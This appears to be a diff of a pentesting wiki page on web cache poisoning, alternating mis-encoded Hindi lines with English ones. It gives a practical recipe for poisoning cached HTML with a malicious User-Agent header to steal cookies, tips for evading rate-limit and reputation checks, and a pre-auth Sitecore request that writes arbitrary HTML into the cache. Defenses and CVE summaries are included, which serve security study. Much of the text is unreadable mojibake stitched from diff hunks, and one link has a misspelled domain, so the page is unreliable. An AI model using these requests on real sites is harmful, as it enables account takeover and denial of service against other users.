-[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) рдХрд╛ рдЙрдкрдпреЛрдЧ web cache poisoning рдХреЗ рд▓рд┐рдП рд╕реНрд╡рддрдГ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рд╣реЗрддреБ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдХрдИ рдЕрд▓рдЧ-рдЕрд▓рдЧ techniques рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ highly customizable рд╣реИред
+The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
-рдпрд╣ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХрд╛ рдкреИрдЯрд░реНрди рдПрдХ header-based reflection primitive рдХреЛ CDN/WAF рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд░реЛрд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ cached HTML рдХреЛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░реВрдк рд╕реЗ poison рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:
+This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users:
-- рдореБрдЦреНрдп HTML рдиреЗ рдПрдХ untrusted request header (e.g., `User-Agent`) рдХреЛ executable context рдореЗрдВ reflect рдХрд┐рдпрд╛ред
-- CDN рдиреЗ cache headers рдХреЛ strip рдХрд░ рджрд┐рдпрд╛ рдкрд░ internal/origin cache рдореМрдЬреВрдж рдерд╛ред CDN рдиреЗ static extensions (e.g., `.js`) рд╡рд╛рд▓реЗ requests рдХреЛ auto-cache рднреА рдХрд┐рдпрд╛, рдЬрдмрдХрд┐ WAF рдиреЗ static assets рдХреЗ GETs рдХреЗ рд▓рд┐рдП рдХрдо рдХрдбрд╝рд╛рдИ рд╕реЗ content inspection рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ред
-- Request flow рдХреЗ quirks рдиреЗ `.js` path рдкрд░ рдПрдХ request рдХреЛ subsequent main HTML рдХреЗ cache key/variant рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА, рдЬрд┐рд╕рд╕реЗ header reflection рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ cross-user XSS рд╕рдХреНрд╖рдо рд╣реБрдЖред
+- The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context.
+- The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets.
+- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.
Practical recipe (observed across a popular CDN/WAF):
-1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.
+1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.
2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
-- Immediately after: GET the main page (`/`).
+- Immediately after: GET the main page (`/`).
3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`).
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0"
```
-рдСрдкрд░реЗрд╢рдирд▓ рдЯрд┐рдкреНрд╕:
+Operational tips:
-- рдХрдИ CDNs рдХреИрд╢ рд╣реЗрдбрд░ рдЫреБрдкрд╛рддреЗ рд╣реИрдВ; poisoning рдХрдИ рдШрдВрдЯреЗ рдХреЗ рд░рд┐рдлреНрд░реЗрд╢ рд╕рд╛рдЗрдХрд┐рд▓ рдкрд░ рд╣реА рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддрд╛ рд╣реИред rate-limit рдпрд╛ reputation рдЯреНрд░рд┐рдЧрд░реНрд╕ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП multiple vantage IPs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ throttle рдХрд░реЗрдВред
-- CDN рдХреЗ рдЕрдкрдиреЗ cloud рд╕реЗ рдПрдХ IP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдХрднреАтАСрдХрднреА routing consistency рдмреЗрд╣рддрд░ рд╣реЛрддреА рд╣реИред
-- рдЕрдЧрд░ strict CSP рдореМрдЬреВрдж рд╣реИ, рддрдм рднреА рдпрд╣ рддрдм рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЬрдм reflection main HTML context рдореЗрдВ execute рд╣реЛ рдФрд░ CSP inline execution рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рдпрд╛ context рджреНрд╡рд╛рд░рд╛ bypass рд╣реЛред
+- рдХрдИ CDNs cache headers рдЫрд┐рдкрд╛рддреЗ рд╣реИрдВ; poisoning рдХрдИ рдШрдВрдЯреЗ рдХреЗ refresh cycles рдкрд░ рд╣реА рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддрд╛ рд╣реИред rate-limit рдпрд╛ reputation triggers рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП multiple vantage IPs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ throttle рдХрд░реЗрдВред
+- CDN рдХреЗ рдЕрдкрдиреЗ cloud рдХрд╛ IP рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рд╕реЗ рдХрднреА-рдХрднреА routing consistency рдмреЗрд╣рддрд░ рд╣реЛрддреА рд╣реИред
+- рдпрджрд┐ strict CSP рдореМрдЬреВрдж рд╣реИ, рддрдм рднреА рдпрд╣ рддрдм рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЬрдм reflection рдореБрдЦреНрдп HTML context рдореЗрдВ execute рд╣реЛ рдФрд░ CSP inline execution рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рдпрд╛ context рд╕реЗ bypass рд╣реЛ рд╕рдХреЗред
-рдкреНрд░рднрд╛рд╡:
+Impact:
-- рдЕрдЧрд░ session cookies `HttpOnly` рдирд╣реАрдВ рд╣реИрдВ, рддреЛ poisoned HTML рд╕рд░реНрд╡ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА users рд╕реЗ `document.cookie` рдХреЛ mass-exfiltrate рдХрд░рдХреЗ zero-click ATO рд╕рдВрднрд╡ рд╣реИред
+- рдпрджрд┐ session cookies arenтАЩt `HttpOnly`, zero-click ATO рд╕рдВрднрд╡ рд╣реИ by mass-exfiltrating `document.cookie` рдЙрди рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдЬрд┐рдиреНрд╣реЗрдВ poisoned HTML рд╕рд░реНрд╡ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
-рд░рдХреНрд╖рд╛:
+Defenses:
-- request headers рдХреЛ HTML рдореЗрдВ reflect рдХрд░рдирд╛ рдмрдВрдж рдХрд░реЗрдВ; рдЕрдЧрд░ рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реЛ рддреЛ рдЙрдиреНрд╣реЗрдВ strictly context-encode рдХрд░реЗрдВред CDN рдФрд░ origin рдХреЗ cache policies рдХреЛ align рдХрд░реЗрдВ рдФрд░ untrusted headers рдкрд░ vary рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВред
-- рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WAF `.js` requests рдФрд░ static paths рдкрд░ content inspection рд▓рдЧрд╛рддрд╛рд░ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред
-- `HttpOnly` (рдФрд░ `Secure`, `SameSite`) рдХреЛ session cookies рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВред
+- Request headers рдХреЛ HTML рдореЗрдВ reflect рдХрд░рдирд╛ рдмрдВрдж рдХрд░реЗрдВ; рдЕрдЧрд░ рдЕрдкрд░рд┐рд╣рд╛рд░реНрдп рд╣реЛ рддреЛ рд╕рдЦреНрддреА рд╕реЗ context-encode рдХрд░реЗрдВред CDN рдФрд░ origin cache policies рдХреЛ align рдХрд░реЗрдВ рдФрд░ untrusted headers рдкрд░ vary рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВред
+- рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WAF `.js` requests рдФрд░ static paths рдкрд░ content inspection рд▓рдЧрд╛рддрд╛рд░ рд▓рд╛рдЧреВ рдХрд░реЗред
+- session cookies рдкрд░ `HttpOnly` (рдФрд░ `Secure`, `SameSite`) рд╕реЗрдЯ рдХрд░реЗрдВред
### Sitecore preтАСauth HTML cache poisoning (unsafe XAML Ajax reflection)
-A SitecoreтАСspecific pattern unauthenticated writes рдХреЛ HtmlCache рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ by abusing preтАСauth XAML handlers рдФрд░ AjaxScriptManager reflection. рдЬрдм `Sitecore.Shell.Xaml.WebControl` handler рдкрд╣реБрдВрдЪ рдЬрд╛рддрд╛ рд╣реИ, рддрдм рдПрдХ `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) рдЙрдкрд▓рдмреНрдз рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд reflective call рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рддреА рд╣реИ:
+A SitecoreтАСspecific pattern enables unauthenticated writes to the HtmlCache by abusing preтАСauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","тАжpayloadтАж")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
-This writes arbitrary HTML under an attackerтАСchosen cache key, enabling precise poisoning once cache keys are known.
+рдпрд╣ attackerтАСchosen cache key рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдордирдорд╛рдирд╛ HTML рд▓рд┐рдЦрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ cache keys рдЬреНрдЮрд╛рдд рд╣реЛрдиреЗ рдкрд░ рд╕рдЯреАрдХ poisoning рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
For full details (cache key construction, ItemService enumeration and a chained postтАСauth deserialization RCE):
@@ -216,51 +217,51 @@ For full details (cache key construction, ItemService enumeration and a chained
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
-## рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдг
+## рдХрдордЬрд╝реЛрд░ рдЙрджрд╛рд╣рд░рдг
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
-ATS рдиреЗ URL рдХреЗ рдЕрдВрджрд░ рдХрд╛ fragment рдмрд┐рдирд╛ strip рдХрд┐рдП рдЖрдЧреЗ рднреЗрдЬ рджрд┐рдпрд╛ рдФрд░ cache key рдХреЗрд╡рд▓ host, path рдФрд░ query рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ (fragment рдХреЛ ignore рдХрд░рддреЗ рд╣реБрдП)ред рдЗрд╕рд▓рд┐рдП request `/#/../?r=javascript:alert(1)` backend рдХреЛ `/#/../?r=javascript:alert(1)` рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдФрд░ cache key рдореЗрдВ payload рдирд╣реАрдВ рдерд╛ тАФ рдХреЗрд╡рд▓ host, path рдФрд░ query рдореМрдЬреВрдж рдереЗред
+ATS рдиреЗ URL рдХреЗ рдЕрдВрджрд░ рдХреЗ fragment рдХреЛ strip рдХрд┐рдП рдмрд┐рдирд╛ рдЖрдЧреЗ рднреЗрдЬрд╛ рдФрд░ cache key рдХреЗрд╡рд▓ host, path рдФрд░ query рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ (fragment рдХреЛ ignore рдХрд░рддреЗ рд╣реБрдП)ред рдЗрд╕рд▓рд┐рдП request `/#/../?r=javascript:alert(1)` backend рдХреЛ рдЙрд╕реА рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдФрд░ cache key рдореЗрдВ payload рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рдерд╛, рдХреЗрд╡рд▓ host, path рдФрд░ query рдереЗред
### GitHub CP-DoS
-content-type header рдореЗрдВ рдЧрд▓рдд рдорд╛рди рднреЗрдЬрдиреЗ рдкрд░ 405 cached response рдЯреНрд░рд┐рдЧрд░ рд╣реБрдИред cache key рдореЗрдВ cookie рд╢рд╛рдорд┐рд▓ рдерд╛ рдЗрд╕рд▓рд┐рдП рдпрд╣ рдХреЗрд╡рд▓ unauth users рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдерд╛ред
+content-type header рдореЗрдВ рдЧрд▓рдд value рднреЗрдЬрдиреЗ рдкрд░ 405 cached response рдЯреНрд░рд┐рдЧрд░ рд╣реБрдЖред cache key рдореЗрдВ cookie рд╢рд╛рдорд┐рд▓ рдерд╛ рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдХреЗрд╡рд▓ рдЕрдирдСрде (unauth) рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдкрд░ рд╣реА рдЖрдХреНрд░рдордг рдХреЗ рд▓рд┐рдП рдкреНрд░рдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ред
### GitLab + GCP CP-DoS
-GitLab static content рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП GCP buckets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред GCP Buckets `x-http-method-override` header рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП `x-http-method-override: HEAD` header рднреЗрдЬ рдХрд░ cache рдХреЛ empty response body рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП poison рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ред рдпрд╣ `PURGE` method рдХреЛ рднреА рд╕рдкреЛрд░реНрдЯ рдХрд░ рд╕рдХрддрд╛ рдерд╛ред
+GitLab static content рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП GCP buckets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред **GCP Buckets** **header `x-http-method-override`** рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП header `x-http-method-override: HEAD` рднреЗрдЬрдХрд░ cache рдХреЛ poison рдХрд░ empty response body рд▓реМрдЯрд╡рд╛рдирд╛ рд╕рдВрднрд╡ рдерд╛ред рдпрд╣ `PURGE` method рдХреЛ рднреА рд╕рдкреЛрд░реНрдЯ рдХрд░ рд╕рдХрддрд╛ рдерд╛ред
### Rack Middleware (Ruby on Rails)
-Ruby on Rails рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ Rack middleware рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред Rack code рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп `x-forwarded-scheme` header рдХрд╛ рдорд╛рди рд▓реЗрдХрд░ рдЙрд╕реЗ request рдХреЗ scheme рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реИред рдЬрдм `x-forwarded-scheme: http` рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ same location рдкрд░ 301 redirect рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕ resource рдХреЗ рд▓рд┐рдП Denial of Service (DoS) рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди `X-forwarded-host` header рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдпреВрдЬрд╝рд░реНрд╕ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ host рдкрд░ redirect рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ attacker's server рд╕реЗ JavaScript рдлрд╛рдЗрд▓реЗрдВ рд▓реЛрдб рд╣реЛрдиреЗ рдХрд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
+Ruby on Rails applications рдореЗрдВ Rack middleware рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Rack code рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп **`x-forwarded-scheme`** header рдХрд╛ рдорд╛рди рд▓реЗрдХрд░ рдЙрд╕реЗ request рдХреЗ scheme рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реИред рдЬрдм header `x-forwarded-scheme: http` рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрд╕реА рд╕реНрдерд╛рди рдХреЗ рд▓рд┐рдП 301 redirect рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕ resource рдкрд░ рд╕рдВрднрд╛рд╡рд┐рдд Denial of Service (DoS) рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ, application `X-forwarded-host` header рдХреЛ рдорд╛рдиреНрдпрддрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИ рдФрд░ users рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ host рдкрд░ redirect рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ attacker рдХреЗ рд╕рд░реНрд╡рд░ рд╕реЗ JavaScript рдлрд╛рдЗрд▓реЗрдВ рд▓реЛрдб рд╣реЛрдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред
### 403 and Storage Buckets
-Cloudflare рдкрд╣рд▓реЗ 403 responses рдХреЛ cache рдХрд░рддрд╛ рдерд╛ред рдЧрд▓рдд Authorization headers рдХреЗ рд╕рд╛рде S3 рдпрд╛ Azure Storage Blobs рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдкрд░ 403 response рдЖрддрд╛ рдерд╛ рдЬреЛ cached рд╣реЛ рдЬрд╛рддрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐ Cloudflare рдиреЗ 403 responses рдХреЛ cache рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рдЕрдиреНрдп proxy рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
+Cloudflare рдкрд╣рд▓реЗ 403 responses рдХреЛ cache рдХрд░рддрд╛ рдерд╛ред рдЧрд▓рдд Authorization headers рдХреЗ рд╕рд╛рде S3 рдпрд╛ Azure Storage Blobs рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдкрд░ 403 response рдЖрддрд╛ рдерд╛ рдЬреЛ cached рд╣реЛ рдЬрд╛рддрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐ Cloudflare рдиреЗ 403 responses рдХреЛ cache рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рдЕрдиреНрдп proxy services рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
### Injecting Keyed Parameters
-Caches рдЕрдХреНрд╕рд░ cache key рдореЗрдВ specific GET parameters рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Fastly рдХрд╛ Varnish requests рдореЗрдВ `size` parameter рдХреЛ cache рдХрд░рддрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдЧрд░ parameter рдХрд╛ URL-encoded version (рдЬреИрд╕реЗ `siz%65`) рднреА рдЧрд▓рдд рд╡реИрд▓реНрдпреВ рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЧрдпрд╛, рддреЛ cache key рд╕рд╣реА `size` parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ред рдкрд░ backend URL-encoded parameter рдХреЗ рдорд╛рди рдХреЛ process рдХрд░реЗрдЧрд╛ред рджреВрд╕рд░реЗ `size` parameter рдХреЛ URL-encode рдХрд░рдиреЗ рд╕реЗ рдпрд╣ cache рджреНрд╡рд╛рд░рд╛ omit рд╣реЛ рдЬрд╛рддрд╛ рдерд╛ рдкрд░ backend рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рдерд╛ред рдЗрд╕ parameter рдХреЛ 0 рджреЗрдиреЗ рдкрд░ cacheable 400 Bad Request error рдорд┐рд▓ рдЬрд╛рддреА рдереАред
+Caches рдЕрдХреНрд╕рд░ cache key рдореЗрдВ рд╡рд┐рд╢реЗрд╖ GET parameters рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Fastly рдХрд╛ Varnish requests рдореЗрдВ `size` parameter рдХреЛ cached рдХрд░рддрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ parameter рдХрд╛ URL-encoded рд╕рдВрд╕реНрдХрд░рдг (рдЬреИрд╕реЗ `siz%65`) рднреА рдЧрд▓рдд value рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЧрдпрд╛, рддреЛ cache key рд╕рд╣реА `size` parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдлрд┐рд░ рднреА backend URL-encoded parameter рдореЗрдВ рджреА рдЧрдИ value рдХреЛ process рдХрд░реЗрдЧрд╛ред рджреВрд╕рд░реЗ `size` parameter рдХреЛ URL-encode рдХрд░рдиреЗ рд╕реЗ cache рдЙрд╕реЗ рдЫреЛрдбрд╝ рджреЗрддрд╛ рдерд╛ рдкрд░ backend рдЙрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рдерд╛ред рдЗрд╕ parameter рдХреЛ 0 рджреЗрдиреЗ рдкрд░ рдПрдХ cacheable 400 Bad Request error рдмрди рдЬрд╛рддреА рдереАред
### User Agent Rules
-рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░реНрд╕ high-traffic tools рдЬреИрд╕реЗ FFUF рдпрд╛ Nuclei рдХреЗ user-agents рд╡рд╛рд▓реЗ requests рдХреЛ server load manage рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП block рдХрд░рддреЗ рд╣реИрдВред Ironically, рдпрд╣ рддрд░реАрдХрд╛ cache poisoning рдФрд░ DoS рдЬреИрд╕реА рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд▓рд╛ рд╕рдХрддрд╛ рд╣реИред
+рдХреБрдЫ developers high-traffic tools рдЬреИрд╕реЗ FFUF рдпрд╛ Nuclei рдХреЗ user-agents рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ requests рдХреЛ server load рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП block рдХрд░рддреЗ рд╣реИрдВред рд╡рд┐рдбрдВрдмрдирд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ рддрд░реАрдХрд╛ cache poisoning рдФрд░ DoS рдЬреИрд╕реА рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд▓рд╛ рд╕рдХрддрд╛ рд╣реИред
### Illegal Header Fields
-[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header names рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░реНрдп characters рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдРрд╕реЗ headers рдЬрд┐рдирдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **tchar** range рдХреЗ рдмрд╛рд╣рд░ рдХреЗ characters рд╣реЛрдВ, ideally 400 Bad Request response рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╡рд╛рд╕реНрддрд╡рд┐рдХрддрд╛ рдореЗрдВ, рд╕рд░реНрд╡рд░ рд╣рдореЗрд╢рд╛ рдЗрд╕ standard рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд░рддреЗред рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг Akamai рд╣реИ, рдЬреЛ invalid characters рд╡рд╛рд▓реЗ headers рдХреЛ рдЖрдЧреЗ рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рдХрд┐рд╕реА рднреА 400 error рдХреЛ cache рдХрд░ рджреЗрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ `cache-control` header рдореМрдЬреВрдж рди рд╣реЛред рдПрдХ exploitable pattern рдореЗрдВ illegal character рднреЗрдЬрдиреЗ (рдЬреИрд╕реЗ `\`) рдкрд░ cacheable 400 Bad Request error рдорд┐рд▓рддреА рдереАред
+[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header names рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░реНрдп characters рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред Headers рдЬрд┐рдирдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **tchar** рд╕реАрдорд╛ рдХреЗ рдмрд╛рд╣рд░ рдХреЗ characters рд╣реЛрддреЗ рд╣реИрдВ, рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ 400 Bad Request response рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, servers рд╣рдореЗрд╢рд╛ рдЗрд╕ рдорд╛рдирдХ рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд░рддреЗред рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг Akamai рд╣реИ, рдЬреЛ invalid characters рд╡рд╛рд▓реЗ headers рдХреЛ forward рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреЛрдИ рднреА 400 error cache рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ `cache-control` header рдореМрдЬреВрдж рди рд╣реЛред рдПрдХ exploitable рдкреИрдЯрд░реНрди рдРрд╕рд╛ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдЬрд╣рд╛рдБ `\` рдЬреИрд╕реЗ illegal character рд╡рд╛рд▓реЗ header 